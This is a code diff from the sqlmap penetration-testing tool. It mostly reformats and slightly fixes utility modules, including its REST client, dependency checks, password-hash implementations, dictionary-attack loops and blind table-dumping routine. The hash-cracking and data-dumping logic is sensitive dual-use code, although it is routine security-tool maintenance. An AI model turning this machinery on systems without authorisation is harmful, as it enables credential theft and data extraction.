         if adapter.lower() not in server_names:
             errMsg = "Adapter '%s' is unknown. " % adapter
-            errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys()))
+            errMsg += "List of supported adapters: %s" % ', '.join(sorted(server_names.keys()))
         else:
             errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
             errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
         logger.critical(errMsg)
 
 def _client(url, options=None):
-    logger.debug("Calling %s" % url)
+    logger.debug("Calling '%s'" % url)
     try:
         data = None
         if options is not None:
@@ -761,6 +751,9 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             logger.critical(errMsg)
             return
 
+    commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
+    autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
+
     taskid = None
     logger.info("Type 'help' or '?' for list of available commands")
 
@@ -787,11 +780,11 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
                 logger.error("No task ID in use")
                 continue
             try:
-                command, option = command.split(" ")
+                command, option = command.split(" ", 1)
             except ValueError:
                 raw = _client("%s/option/%s/list" % (addr, taskid))
             else:
-                options = {"option": option}
+                options = re.split(r"\s*,\s*", option.strip())
                 raw = _client("%s/option/%s/get" % (addr, taskid), options)
             res = dejsonize(raw)
             if not res["success"]:
@@ -848,7 +841,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             logger.info("Switching to task ID '%s' " % taskid)
 
         elif command in ("list", "flush"):
-            raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command))
+            raw = _client("%s/admin/%s" % (addr, command))
             res = dejsonize(raw)
             if not res["success"]:
                 logger.error("Failed to execute command %s" % command)
@@ -860,7 +853,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             return
 
         elif command in ("help", "?"):
-            msg =  "help           Show this help message\n"
+            msg = "help           Show this help message\n"
             msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
             msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
             msg += "data           Retrieve and show data for current task\n"

lib/utils/crawler.py

@@ -167,7 +167,7 @@ def crawl(target):
             if not conf.bulkFile:
                 logger.info("searching for links with depth %d" % (i + 1))
 
-            runThreads(numThreads, crawlThread, threadChoice=(i>0))
+            runThreads(numThreads, crawlThread, threadChoice=(i > 0))
             clearConsoleLine(True)
 
             if threadData.shared.deeper:

lib/utils/deps.py

@@ -25,7 +25,7 @@ def checkDependencies():
                 if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
                     warnMsg = "'%s' third-party library must be " % data[1]
                     warnMsg += "version >= 1.0.2 to work properly. "
-                    warnMsg += "Download from %s" % data[2]
+                    warnMsg += "Download from '%s'" % data[2]
                     logger.warn(warnMsg)
             elif dbmsName == DBMS.MYSQL:
                 __import__("pymysql")
@@ -49,7 +49,7 @@ def checkDependencies():
         except:
             warnMsg = "sqlmap requires '%s' third-party library " % data[1]
             warnMsg += "in order to directly connect to the DBMS "
-            warnMsg += "'%s'. Download from %s" % (dbmsName, data[2])
+            warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2])
             logger.warn(warnMsg)
             missing_libraries.add(data[1])
 
@@ -65,7 +65,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'python-impacket' third-party library for "
         warnMsg += "out-of-band takeover feature. Download from "
-        warnMsg += "http://code.google.com/p/impacket/"
+        warnMsg += "'https://github.com/coresecurity/impacket'"
         logger.warn(warnMsg)
         missing_libraries.add('python-impacket')
 
@@ -76,7 +76,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'python-ntlm' third-party library "
         warnMsg += "if you plan to attack a web application behind NTLM "
-        warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/"
+        warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
         logger.warn(warnMsg)
         missing_libraries.add('python-ntlm')
 
@@ -87,7 +87,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'websocket-client' third-party library "
         warnMsg += "if you plan to attack a web application using WebSocket. "
-        warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/"
+        warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'"
         logger.warn(warnMsg)
         missing_libraries.add('websocket-client')
 
@@ -101,11 +101,10 @@ def checkDependencies():
             warnMsg += "be able to take advantage of the sqlmap TAB "
             warnMsg += "completion and history support features in the SQL "
             warnMsg += "shell and OS shell. Download from "
-            warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro"
+            warnMsg += "'https://pypi.org/project/pyreadline/'"
             logger.warn(warnMsg)
             missing_libraries.add('python-pyreadline')
 
     if len(missing_libraries) == 0:
         infoMsg = "all dependencies are installed"
         logger.info(infoMsg)
-

lib/utils/getch.py

@@ -22,10 +22,9 @@ class _Getch(object):
     def __call__(self):
         return self.impl()
 
-
 class _GetchUnix(object):
     def __init__(self):
-        import tty
+        __import__("tty")
 
     def __call__(self):
         import sys
@@ -41,16 +40,14 @@ class _GetchUnix(object):
             termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
         return ch
 
-
 class _GetchWindows(object):
     def __init__(self):
-        import msvcrt
+        __import__("msvcrt")
 
     def __call__(self):
         import msvcrt
         return msvcrt.getch()
 
-
 class _GetchMacCarbon(object):
     """
     A function which returns the current ASCII key that is down;
@@ -79,6 +76,4 @@ class _GetchMacCarbon(object):
             (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1]
             return chr(msg & 0x000000FF)
 
-
 getch = _Getch()
-

lib/utils/hash.py

@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission
 
 try:
     from crypt import crypt
-except ImportError:
+except:  # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171
     from thirdparty.fcrypt.fcrypt import crypt
 
 _multiprocessing = None
@@ -16,6 +16,9 @@ try:
 
     # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx)
     _ = multiprocessing.Queue()
+
+    # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952)
+    _ = multiprocessing.Value('i')
 except (ImportError, OSError):
     pass
 else:
@@ -72,6 +75,7 @@ from lib.core.settings import COMMON_PASSWORD_SUFFIXES
 from lib.core.settings import COMMON_USER_COLUMNS
 from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import DUMMY_USER_PREFIX
+from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER
 from lib.core.settings import HASH_MOD_ITEM_DISPLAY
 from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD
 from lib.core.settings import IS_WIN
@@ -132,7 +136,6 @@ def postgres_passwd(password, username, uppercase=False):
     'md599e5ea7a6f7c3269995cba3927fd0093'
     """
 
-
     if isinstance(username, unicode):
         username = unicode.encode(username, UNICODE_ENCODING)
 
@@ -377,7 +380,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
     ctx = password + magic + salt
     final = md5(password + salt + password).digest()
 
-    for pl in xrange(len(password),0,-16):
+    for pl in xrange(len(password), 0, -16):
         if pl > 16:
             ctx = ctx + final[:16]
         else:
@@ -386,7 +389,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
     i = len(password)
     while i:
         if i & 1:
-            ctx = ctx + chr(0)  #if ($i & 1) { $ctx->add(pack("C", 0)); }
+            ctx = ctx + chr(0)  # if ($i & 1) { $ctx->add(pack("C", 0)); }
         else:
             ctx = ctx + password[0]
         i = i >> 1
@@ -414,7 +417,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
 
         final = md5(ctx1).digest()
 
-    hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4)
+    hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4)
     hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4)
     hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4)
     hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4)
@@ -519,38 +522,38 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
     return "%s%s" % (prefix, _encode64(hash_, 16))
 
 __functions__ = {
-                    HASH.MYSQL: mysql_passwd,
-                    HASH.MYSQL_OLD: mysql_old_passwd,
-                    HASH.POSTGRES: postgres_passwd,
-                    HASH.MSSQL: mssql_passwd,
-                    HASH.MSSQL_OLD: mssql_old_passwd,
-                    HASH.MSSQL_NEW: mssql_new_passwd,
-                    HASH.ORACLE: oracle_passwd,
-                    HASH.ORACLE_OLD: oracle_old_passwd,
-                    HASH.MD5_GENERIC: md5_generic_passwd,
-                    HASH.SHA1_GENERIC: sha1_generic_passwd,
-                    HASH.SHA224_GENERIC: sha224_generic_passwd,
-                    HASH.SHA256_GENERIC: sha256_generic_passwd,
-                    HASH.SHA384_GENERIC: sha384_generic_passwd,
-                    HASH.SHA512_GENERIC: sha512_generic_passwd,
-                    HASH.CRYPT_GENERIC: crypt_generic_passwd,
-                    HASH.JOOMLA: joomla_passwd,
-                    HASH.DJANGO_MD5: django_md5_passwd,
-                    HASH.DJANGO_SHA1: django_sha1_passwd,
-                    HASH.WORDPRESS: wordpress_passwd,
-                    HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
-                    HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
-                    HASH.APACHE_SHA1: apache_sha1_passwd,
-                    HASH.VBULLETIN: vbulletin_passwd,
-                    HASH.VBULLETIN_OLD: vbulletin_passwd,
-                    HASH.SSHA: ssha_passwd,
-                    HASH.SSHA256: ssha256_passwd,
-                    HASH.SSHA512: ssha512_passwd,
-                    HASH.MD5_BASE64: md5_generic_passwd,
-                    HASH.SHA1_BASE64: sha1_generic_passwd,
-                    HASH.SHA256_BASE64: sha256_generic_passwd,
-                    HASH.SHA512_BASE64: sha512_generic_passwd,
-                }
+    HASH.MYSQL: mysql_passwd,
+    HASH.MYSQL_OLD: mysql_old_passwd,
+    HASH.POSTGRES: postgres_passwd,
+    HASH.MSSQL: mssql_passwd,
+    HASH.MSSQL_OLD: mssql_old_passwd,
+    HASH.MSSQL_NEW: mssql_new_passwd,
+    HASH.ORACLE: oracle_passwd,
+    HASH.ORACLE_OLD: oracle_old_passwd,
+    HASH.MD5_GENERIC: md5_generic_passwd,
+    HASH.SHA1_GENERIC: sha1_generic_passwd,
+    HASH.SHA224_GENERIC: sha224_generic_passwd,
+    HASH.SHA256_GENERIC: sha256_generic_passwd,
+    HASH.SHA384_GENERIC: sha384_generic_passwd,
+    HASH.SHA512_GENERIC: sha512_generic_passwd,
+    HASH.CRYPT_GENERIC: crypt_generic_passwd,
+    HASH.JOOMLA: joomla_passwd,
+    HASH.DJANGO_MD5: django_md5_passwd,
+    HASH.DJANGO_SHA1: django_sha1_passwd,
+    HASH.WORDPRESS: wordpress_passwd,
+    HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
+    HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
+    HASH.APACHE_SHA1: apache_sha1_passwd,
+    HASH.VBULLETIN: vbulletin_passwd,
+    HASH.VBULLETIN_OLD: vbulletin_passwd,
+    HASH.SSHA: ssha_passwd,
+    HASH.SSHA256: ssha256_passwd,
+    HASH.SSHA512: ssha512_passwd,
+    HASH.MD5_BASE64: md5_generic_passwd,
+    HASH.SHA1_BASE64: sha1_generic_passwd,
+    HASH.SHA256_BASE64: sha256_generic_passwd,
+    HASH.SHA512_BASE64: sha512_generic_passwd,
+}
 
 def storeHashesToFile(attack_dict):
     if not attack_dict:
@@ -682,7 +685,7 @@ def attackDumpedTable():
                         value = table[column]['values'][i]
 
                         if value and value.lower() in lut:
-                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
+                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
                             table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
 
 def hashRecognition(value):
@@ -719,6 +722,8 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
             if not attack_info:
                 break
 
+            count += 1
+
             if not isinstance(word, basestring):
                 continue
 
@@ -728,8 +733,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
             try:
                 current = __functions__[hash_regex](password=word, uppercase=False)
 
-                count += 1
-
                 if current in hashes:
                     for item in attack_info[:]:
                         ((user, hash_), _) = item
@@ -794,7 +797,6 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
             if found.value:
                 break
 
-            current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
             count += 1
 
             if not isinstance(word, basestring):
@@ -804,6 +806,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
                 word = word + suffix
 
             try:
+                current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
+
                 if hash_ == current:
                     if hash_regex == HASH.ORACLE_OLD:  # only for cosmetic purposes
                         word = word.upper()
@@ -900,7 +904,7 @@ def dictionaryAttack(attack_dict):
 
                         if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                             item = [(user, hash_.decode("base64").encode("hex")), {}]
-                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
+                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
                             item = [(user, hash_), {}]
                         elif hash_regex in (HASH.SSHA,):
                             item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]

lib/utils/hashdb.py

@@ -91,8 +91,8 @@ class HashDB(object):
                             raise
                     except sqlite3.DatabaseError, ex:
                         errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
-                        errMsg += "If the problem persists please rerun with `--flush-session`"
-                        raise SqlmapConnectionException, errMsg
+                        errMsg += "If the problem persists please rerun with '--flush-session'"
+                        raise SqlmapConnectionException(errMsg)
                     else:
                         break
 
@@ -104,7 +104,7 @@ class HashDB(object):
             except:
                 retVal = None
                 warnMsg = "error occurred while unserializing value for session key '%s'. " % key
-                warnMsg += "If the problem persists please rerun with `--flush-session`"
+                warnMsg += "If the problem persists please rerun with '--flush-session'"
                 logger.warn(warnMsg)
 
         return retVal

lib/utils/htmlentities.py

@@ -8,256 +8,256 @@ See the file 'LICENSE' for copying permission
 # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
 
 htmlEntities = {
-    'quot':   34,
-    'amp':    38,
-    'lt':     60,
-    'gt':     62,
-    'nbsp':   160,
-    'iexcl':  161,
-    'cent':   162,
-    'pound':  163,
-    'curren': 164,
-    'yen':    165,
-    'brvbar': 166,
-    'sect':   167,
-    'uml':    168,
-    'copy':   169,
-    'ordf':   170,
-    'laquo':  171,
-    'not':    172,
-    'shy':    173,
-    'reg':    174,
-    'macr':   175,
-    'deg':    176,
-    'plusmn': 177,
-    'sup2':   178,
-    'sup3':   179,
-    'acute':  180,
-    'micro':  181,
-    'para':   182,
-    'middot': 183,
-    'cedil':  184,
-    'sup1':   185,
-    'ordm':   186,
-    'raquo':  187,
-    'frac14': 188,
-    'frac12': 189,
-    'frac34': 190,
-    'iquest': 191,
-    'Agrave': 192,
-    'Aacute': 193,
-    'Acirc':  194,
-    'Atilde': 195,
-    'Auml':   196,
-    'Aring':  197,
-    'AElig':  198,
-    'Ccedil': 199,
-    'Egrave': 200,
-    'Eacute': 201,
-    'Ecirc':  202,
-    'Euml':   203,
-    'Igrave': 204,
-    'Iacute': 205,
-    'Icirc':  206,
-    'Iuml':   207,
-    'ETH':    208,
-    'Ntilde': 209,
-    'Ograve': 210,
-    'Oacute': 211,
-    'Ocirc':  212,
-    'Otilde': 213,
-    'Ouml':   214,
-    'times':  215,
-    'Oslash': 216,
-    'Ugrave': 217,
-    'Uacute': 218,
-    'Ucirc':  219,
-    'Uuml':   220,
-    'Yacute': 221,
-    'THORN':  222,
-    'szlig':  223,
-    'agrave': 224,
-    'aacute': 225,
-    'acirc':  226,
-    'atilde': 227,
-    'auml':   228,
-    'aring':  229,
-    'aelig':  230,
-    'ccedil': 231,
-    'egrave': 232,
-    'eacute': 233,
-    'ecirc':  234,
-    'euml':   235,
-    'igrave': 236,
-    'iacute': 237,
-    'icirc':  238,
-    'iuml':   239,
-    'eth':    240,
-    'ntilde': 241,
-    'ograve': 242,
-    'oacute': 243,
-    'ocirc':  244,
-    'otilde': 245,
-    'ouml':   246,
-    'divide': 247,
-    'oslash': 248,
-    'ugrave': 249,
-    'uacute': 250,
-    'ucirc':  251,
-    'uuml':   252,
-    'yacute': 253,
-    'thorn':  254,
-    'yuml':   255,
-    'OElig':  338,
-    'oelig':  339,
-    'Scaron': 352,
-    'fnof':   402,
-    'scaron': 353,
-    'Yuml':   376,
-    'circ':   710,
-    'tilde':  732,
-    'Alpha':    913,
-    'Beta':     914,
-    'Gamma':    915,
-    'Delta':    916,
-    'Epsilon':  917,
-    'Zeta':     918,
-    'Eta':      919,
-    'Theta':    920,
-    'Iota':     921,
-    'Kappa':    922,
-    'Lambda':   923,
-    'Mu':       924,
-    'Nu':       925,
-    'Xi':       926,
-    'Omicron':  927,
-    'Pi':       928,
-    'Rho':      929,
-    'Sigma':    931,
-    'Tau':      932,
-    'Upsilon':  933,
-    'Phi':      934,
-    'Chi':      935,
-    'Psi':      936,
-    'Omega':    937,
-    'alpha':    945,
-    'beta':     946,
-    'gamma':    947,
-    'delta':    948,
-    'epsilon':  949,
-    'zeta':     950,
-    'eta':      951,
-    'theta':    952,
-    'iota':     953,
-    'kappa':    954,
-    'lambda':   955,
-    'mu':       956,
-    'nu':       957,
-    'xi':       958,
-    'omicron':  959,
-    'pi':       960,
-    'rho':      961,
-    'sigmaf':   962,
-    'sigma':    963,
-    'tau':      964,
-    'upsilon':  965,
-    'phi':      966,
-    'chi':      967,
-    'psi':      968,
-    'omega':    969,
-    'thetasym': 977,
-    'upsih':    978,
-    'piv':      982,
-    'bull':    8226,
-    'hellip':  8230,
-    'prime':   8242,
-    'Prime':   8243,
-    'oline':   8254,
-    'frasl':   8260,
-    'ensp':   8194,
-    'emsp':   8195,
-    'thinsp': 8201,
-    'zwnj':   8204,
-    'zwj':    8205,
-    'lrm':    8206,
-    'rlm':    8207,
-    'ndash':  8211,
-    'mdash':  8212,
-    'lsquo':  8216,
-    'rsquo':  8217,
-    'sbquo':  8218,
-    'ldquo':  8220,
-    'rdquo':  8221,
-    'bdquo':  8222,
-    'dagger': 8224,
-    'Dagger': 8225,
-    'permil': 8240,
-    'lsaquo': 8249,
-    'rsaquo': 8250,
-    'euro':   8364,
-    'weierp':  8472,
-    'image':   8465,
-    'real':    8476,
-    'trade':   8482,
-    'alefsym': 8501,
-    'larr':   8592,
-    'uarr':   8593,
-    'rarr':   8594,
-    'darr':   8595,
-    'harr':   8596,
-    'crarr':  8629,
-    'lArr':   8656,
-    'uArr':   8657,
-    'rArr':   8658,
-    'dArr':   8659,
-    'hArr':   8660,
-    'forall': 8704,
-    'part':   8706,
-    'exist':  8707,
-    'empty':  8709,
-    'nabla':  8711,
-    'isin':   8712,
-    'notin':  8713,
-    'ni':     8715,
-    'prod':   8719,
-    'sum':    8721,
-    'minus':  8722,
-    'lowast': 8727,
-    'radic':  8730,
-    'prop':   8733,
-    'infin':  8734,
-    'ang':    8736,
-    'and':    8743,
-    'or':     8744,
-    'cap':    8745,
-    'cup':    8746,
-    'int':    8747,
-    'there4': 8756,
-    'sim':    8764,
-    'cong':   8773,
-    'asymp':  8776,
-    'ne':     8800,
-    'equiv':  8801,
-    'le':     8804,
-    'ge':     8805,
-    'sub':    8834,
-    'sup':    8835,
-    'nsub':   8836,
-    'sube':   8838,
-    'supe':   8839,
-    'oplus':  8853,
-    'otimes': 8855,
-    'perp':   8869,
-    'sdot':   8901,
-    'lceil':  8968,
-    'rceil':  8969,
-    'lfloor': 8970,
-    'rfloor': 8971,
-    'lang':   9001,
-    'rang':   9002,
-    'loz':    9674,
-    'spades': 9824,
-    'clubs':  9827,
-    'hearts': 9829,
-    'diams':  9830,
+    "quot": 34,
+    "amp": 38,
+    "lt": 60,
+    "gt": 62,
+    "nbsp": 160,
+    "iexcl": 161,
+    "cent": 162,
+    "pound": 163,
+    "curren": 164,
+    "yen": 165,
+    "brvbar": 166,
+    "sect": 167,
+    "uml": 168,
+    "copy": 169,
+    "ordf": 170,
+    "laquo": 171,
+    "not": 172,
+    "shy": 173,
+    "reg": 174,
+    "macr": 175,
+    "deg": 176,
+    "plusmn": 177,
+    "sup2": 178,
+    "sup3": 179,
+    "acute": 180,
+    "micro": 181,
+    "para": 182,
+    "middot": 183,
+    "cedil": 184,
+    "sup1": 185,
+    "ordm": 186,
+    "raquo": 187,
+    "frac14": 188,
+    "frac12": 189,
+    "frac34": 190,
+    "iquest": 191,
+    "Agrave": 192,
+    "Aacute": 193,
+    "Acirc": 194,
+    "Atilde": 195,
+    "Auml": 196,
+    "Aring": 197,
+    "AElig": 198,
+    "Ccedil": 199,
+    "Egrave": 200,
+    "Eacute": 201,
+    "Ecirc": 202,
+    "Euml": 203,
+    "Igrave": 204,
+    "Iacute": 205,
+    "Icirc": 206,
+    "Iuml": 207,
+    "ETH": 208,
+    "Ntilde": 209,
+    "Ograve": 210,
+    "Oacute": 211,
+    "Ocirc": 212,
+    "Otilde": 213,
+    "Ouml": 214,
+    "times": 215,
+    "Oslash": 216,
+    "Ugrave": 217,
+    "Uacute": 218,
+    "Ucirc": 219,
+    "Uuml": 220,
+    "Yacute": 221,
+    "THORN": 222,
+    "szlig": 223,
+    "agrave": 224,
+    "aacute": 225,
+    "acirc": 226,
+    "atilde": 227,
+    "auml": 228,
+    "aring": 229,
+    "aelig": 230,
+    "ccedil": 231,
+    "egrave": 232,
+    "eacute": 233,
+    "ecirc": 234,
+    "euml": 235,
+    "igrave": 236,
+    "iacute": 237,
+    "icirc": 238,
+    "iuml": 239,
+    "eth": 240,
+    "ntilde": 241,
+    "ograve": 242,
+    "oacute": 243,
+    "ocirc": 244,
+    "otilde": 245,
+    "ouml": 246,
+    "divide": 247,
+    "oslash": 248,
+    "ugrave": 249,
+    "uacute": 250,
+    "ucirc": 251,
+    "uuml": 252,
+    "yacute": 253,
+    "thorn": 254,
+    "yuml": 255,
+    "OElig": 338,
+    "oelig": 339,
+    "Scaron": 352,
+    "fnof": 402,
+    "scaron": 353,
+    "Yuml": 376,
+    "circ": 710,
+    "tilde": 732,
+    "Alpha": 913,
+    "Beta": 914,
+    "Gamma": 915,
+    "Delta": 916,
+    "Epsilon": 917,
+    "Zeta": 918,
+    "Eta": 919,
+    "Theta": 920,
+    "Iota": 921,
+    "Kappa": 922,
+    "Lambda": 923,
+    "Mu": 924,
+    "Nu": 925,
+    "Xi": 926,
+    "Omicron": 927,
+    "Pi": 928,
+    "Rho": 929,
+    "Sigma": 931,
+    "Tau": 932,
+    "Upsilon": 933,
+    "Phi": 934,
+    "Chi": 935,
+    "Psi": 936,
+    "Omega": 937,
+    "alpha": 945,
+    "beta": 946,
+    "gamma": 947,
+    "delta": 948,
+    "epsilon": 949,
+    "zeta": 950,
+    "eta": 951,
+    "theta": 952,
+    "iota": 953,
+    "kappa": 954,
+    "lambda": 955,
+    "mu": 956,
+    "nu": 957,
+    "xi": 958,
+    "omicron": 959,
+    "pi": 960,
+    "rho": 961,
+    "sigmaf": 962,
+    "sigma": 963,
+    "tau": 964,
+    "upsilon": 965,
+    "phi": 966,
+    "chi": 967,
+    "psi": 968,
+    "omega": 969,
+    "thetasym": 977,
+    "upsih": 978,
+    "piv": 982,
+    "bull": 8226,
+    "hellip": 8230,
+    "prime": 8242,
+    "Prime": 8243,
+    "oline": 8254,
+    "frasl": 8260,
+    "ensp": 8194,
+    "emsp": 8195,
+    "thinsp": 8201,
+    "zwnj": 8204,
+    "zwj": 8205,
+    "lrm": 8206,
+    "rlm": 8207,
+    "ndash": 8211,
+    "mdash": 8212,
+    "lsquo": 8216,
+    "rsquo": 8217,
+    "sbquo": 8218,
+    "ldquo": 8220,
+    "rdquo": 8221,
+    "bdquo": 8222,
+    "dagger": 8224,
+    "Dagger": 8225,
+    "permil": 8240,
+    "lsaquo": 8249,
+    "rsaquo": 8250,
+    "euro": 8364,
+    "weierp": 8472,
+    "image": 8465,
+    "real": 8476,
+    "trade": 8482,
+    "alefsym": 8501,
+    "larr": 8592,
+    "uarr": 8593,
+    "rarr": 8594,
+    "darr": 8595,
+    "harr": 8596,
+    "crarr": 8629,
+    "lArr": 8656,
+    "uArr": 8657,
+    "rArr": 8658,
+    "dArr": 8659,
+    "hArr": 8660,
+    "forall": 8704,
+    "part": 8706,
+    "exist": 8707,
+    "empty": 8709,
+    "nabla": 8711,
+    "isin": 8712,
+    "notin": 8713,
+    "ni": 8715,
+    "prod": 8719,
+    "sum": 8721,
+    "minus": 8722,
+    "lowast": 8727,
+    "radic": 8730,
+    "prop": 8733,
+    "infin": 8734,
+    "ang": 8736,
+    "and": 8743,
+    "or": 8744,
+    "cap": 8745,
+    "cup": 8746,
+    "int": 8747,
+    "there4": 8756,
+    "sim": 8764,
+    "cong": 8773,
+    "asymp": 8776,
+    "ne": 8800,
+    "equiv": 8801,
+    "le": 8804,
+    "ge": 8805,
+    "sub": 8834,
+    "sup": 8835,
+    "nsub": 8836,
+    "sube": 8838,
+    "supe": 8839,
+    "oplus": 8853,
+    "otimes": 8855,
+    "perp": 8869,
+    "sdot": 8901,
+    "lceil": 8968,
+    "rceil": 8969,
+    "lfloor": 8970,
+    "rfloor": 8971,
+    "lang": 9001,
+    "rang": 9002,
+    "loz": 9674,
+    "spades": 9824,
+    "clubs": 9827,
+    "hearts": 9829,
+    "diams": 9830,
 }

lib/utils/pivotdumptable.py

@@ -11,6 +11,7 @@ from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
+from lib.core.common import getSafeExString
 from lib.core.common import getUnicode
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
@@ -31,7 +32,7 @@ from lib.core.settings import NULL
 from lib.core.unescaper import unescaper
 from lib.request import inject
 
-def pivotDumpTable(table, colList, count=None, blind=True):
+def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
     lengths = {}
     entries = {}
 
@@ -88,7 +89,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
     if not validPivotValue:
         for column in colList:
             infoMsg = "fetching number of distinct "
-            infoMsg += "values for column '%s'" % column
+            infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "")
             logger.info(infoMsg)
 
             query = dumpNode.count2 % (column, table)
@@ -99,7 +100,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
                 validColumnList = True
 
                 if value == count:
-                    infoMsg = "using column '%s' as a pivot " % column
+                    infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "")
                     infoMsg += "for retrieving row data"
                     logger.info(infoMsg)
 
@@ -174,10 +175,10 @@ def pivotDumpTable(table, colList, count=None, blind=True):
         warnMsg += "will display partial output"
         logger.warn(warnMsg)
 
-    except SqlmapConnectionException, e:
-        errMsg = "connection exception detected. sqlmap "
+    except SqlmapConnectionException, ex:
+        errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex)
         errMsg += "will display partial output"
-        errMsg += "'%s'" % e
+
         logger.critical(errMsg)
 
     return entries, lengths

lib/utils/progress.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import time
+
 from lib.core.common import getUnicode
 from lib.core.common import dataToStdout
 from lib.core.data import conf
@@ -17,13 +19,12 @@ class ProgressBar(object):
 
     def __init__(self, minValue=0, maxValue=10, totalWidth=None):
         self._progBar = "[]"
-        self._oldProgBar = ""
         self._min = int(minValue)
         self._max = int(maxValue)
         self._span = max(self._max - self._min, 0.001)
         self._width = totalWidth if totalWidth else conf.progressWidth
         self._amount = 0
-        self._times = []
+        self._start = None
         self.update()
 
     def _convertSeconds(self, value):
@@ -52,7 +53,7 @@ class ProgressBar(object):
         percentDone = min(100, int(percentDone))
 
         # Figure out how many hash bars the percentage should be
-        allFull = self._width - len("100%% [] %s/%s  ETA 00:00" % (self._max, self._max))
+        allFull = self._width - len("100%% [] %s/%s  (ETA 00:00)" % (self._max, self._max))
         numHashes = (percentDone / 100.0) * allFull
         numHashes = int(round(numHashes))
 
@@ -62,26 +63,24 @@ class ProgressBar(object):
         elif numHashes == allFull:
             self._progBar = "[%s]" % ("=" * allFull)
         else:
-            self._progBar = "[%s>%s]" % ("=" * (numHashes - 1),
-                                          " " * (allFull - numHashes))
